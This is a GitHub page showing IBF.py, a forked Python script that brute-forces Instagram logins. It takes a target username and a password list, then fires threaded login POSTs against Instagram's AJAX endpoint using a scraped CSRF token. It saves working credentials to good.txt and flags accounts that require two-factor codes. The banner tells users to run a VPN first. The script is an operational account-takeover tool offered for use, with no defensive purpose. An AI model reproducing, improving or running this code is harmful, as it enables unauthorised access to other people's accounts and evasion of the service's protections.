forked from TermuxHackz/instagram-bruteforcer
-
Notifications
You must be signed in to change notification settings - Fork 0
/
IBF.py
109 lines (84 loc) · 3.87 KB
/
IBF.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
from __future__ import absolute_import
from __future__ import print_function
import requests, sys, threading, time, os, random
from random import randint
from six.moves import input
CheckVersion = str(sys.version)
import re
from datetime import datetime
print('''
....
%
^
L
"F3 $r
$$$$.e$" .
"$$$$$" "
(insTof by 4) $$$$c /
. $$$$$$$P
."c $$$
.$c3b ..J$$$$$e
4$$$$ .$$$$$$$$$$$$$$c
$$$$b .$$$$$$$$$$$$$$$$r
$$$. .$$$$$$$$$$$$$$$$$$
$$$c .$$$$$$$ "$$$$$$$$$r
Author : AnonyminHack5
Github : https://github.com/TermuxHackz
Thank you for using this tool
Management depends on vpn software. Please use it before running the tool
""""""""""""""""""""""""""""""""""""""""""
''')
class InstaBrute(object):
def __init__(self):
try:
user = input('username : ')
Combo = input('passList : ')
print('\n----------------------------')
except:
print(' The tool was arrested exit ')
sys.exit()
with open(Combo, 'r') as x:
Combolist = x.read().splitlines()
thread = []
self.Coutprox = 0
for combo in Combolist:
password = combo.split(':')[0]
t = threading.Thread(target=self.New_Br, args=(user, password))
t.start()
thread.append(t)
time.sleep(0.9)
for j in thread:
j.join()
def cls(self):
linux = 'clear'
windows = 'cls'
os.system([linux, windows][os.name == 'nt'])
def New_Br(self,user,pwd):
link = 'https://www.instagram.com/accounts/login/'
login_url = 'https://www.instagram.com/accounts/login/ajax/'
time = int(datetime.now().timestamp())
payload = {
'username': user,
'enc_password': f'#PWD_INSTAGRAM_BROWSER:0:{time}:{pwd}',
'queryParams': {},
'optIntoOneTap': 'false'
}
with requests.Session() as s:
r = s.get(link)
csrf = re.findall(r"csrf_token\":\"(.*?)\"", r.text)[0]
r = s.post(login_url, data=payload, headers={
"User-Agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36",
"X-Requested-With": "XMLHttpRequest",
"Referer": "https://www.instagram.com/accounts/login/",
"x-csrftoken": csrf
})
print(f'{user}:{pwd}\n----------------------------')
if 'authenticated": true' in r.text:
print(('' + user + ':' + pwd + ' --> Good hack '))
with open('good.txt', 'a') as x:
x.write(user + ':' + pwd + '\n')
elif 'two_factor_required' in r.text:
print(('' + user + ':' + pwd + ' --> Good It has to be checked '))
with open('results_NeedVerfiy.txt', 'a') as x:
x.write(user + ':' + pwd + '\n')
InstaBrute()